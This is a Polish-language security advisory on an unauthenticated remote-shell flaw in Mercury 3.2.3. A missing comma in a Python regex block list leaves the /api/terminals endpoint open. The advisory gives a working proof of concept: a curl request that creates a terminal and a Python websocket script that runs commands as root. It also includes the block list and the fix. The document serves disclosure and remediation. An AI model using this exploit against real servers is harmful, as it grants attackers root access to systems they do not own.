Mercury: Nieuwierzytelnione zdalne wykonanie kodu w /api/terminals - obejście kontroli dostępu

Podsumowanie

Brakujący przecinek na liście BLOCKED_PATTERNS w mercury_app/block_handler.py powoduje, że reguły blokowania nie obejmują punktu końcowego /api/terminals. W rezultacie nieuwierzytelniony atakujący może uruchomić pełną, interaktywną powłokę na poziomie systemu operacyjnego na hoście, na którym działa Mercury.

Szczegóły

Lista blokowanych ścieżek w mercury_app/block_handler.py jest zdefiniowana w następujący sposób:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?"
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

Brakujący przecinek między pierwszą a drugą linią powoduje połączenie tych reguł przez Pythona. W efekcie rzeczywista lista blokad wygląda tak:

/lab...(?:/.*)?/api/terminals(?:/.*)? (pierwsze dwie linie połączone ze sobą) /api/shutdown(?:/.*)? /files(?:/.*)?

Bezpośrednie żądanie skierowane do /api/terminals nie pasuje do żadnej z reguł listy blokowania w 3 i dlatego nie jest blokowane. Trafia ono do wbudowanego w Jupyter Server API terminala, które uruchamia powłokę systemową dostępną przez połączenie WebSocket. Do przeprowadzenia ataku nie jest wymagane uwierzytelnienie, konto, sesja ani żaden wcześniejszy dostęp do aplikacji Mercury.

PoC

Testy przeprowadzono na lokalnym wdrożeniu Dockera (https://runmercury.com/deploy/dockerfile/), Mercury w wersji 3.2.3, domyślna konfiguracja).

Krok 1 - uruchomienie terminala:

curl -i -X POST http://localhost:8888/api/terminals

Odpowiedź: {"name": "1", "last_activity": "..."}

Krok 2 - nawiązanie połączenia z terminalem i wykonywanie poleceń:

python3 -c "
import websocket, json, time

ws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')
print(ws.recv())

ws.send(json.dumps(['stdin', 'whoami && id\n']))
time.sleep(1)

ws.settimeout(2)
try:
    while True:
        print(ws.recv())
except Exception:
    pass
"

Zaobserwowany wynik:

["setup", {}]
["stdout", "# "]
["stdout", "whoami && id\r\n"]
["stdout", "root\r\n"]
["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "]

Potwierdza to pełny, interaktywny dostęp do powłoki roota bez jakiegokolwiek uwierzytelnienia lub uprzedniego dostępu.

Wpływ

• Poufność: pełny dostęp do odczytu dowolnego pliku, do którego proces Mercury ma dostęp (notatniki, przesłane dane, zmienne środowiskowe, poświadczenia/tajemnice).
• Integralność: atakujący może modyfikować lub usuwać dowolne pliki, w tym notatniki udostępniane innym użytkownikom.
• Dostępność: atakujący może wyłączyć lub doprowadzić do awarii serwera/kontenera.
• Ruch boczny (lateral movement): uzyskana powłoka może posłużyć jako przyczółek do atakowania innych systemów dostępnych w sieci hosta.

Podatność może zostać wykorzystana przez dowolnego klienta sieciowego, który ma dostęp do serwera Mercury, w tym z poziomu publicznego Internetu, jeśli usługa została wdrożona bez dodatkowych mechanizmów kontroli dostępu (VPN, uwierzytelnianie na reverse-proxy, firewall).

Poprawka

Dodanie brakującego przecinka, tak aby /api/terminals stanowiło niezależną regułę na liście blokad:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?",
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]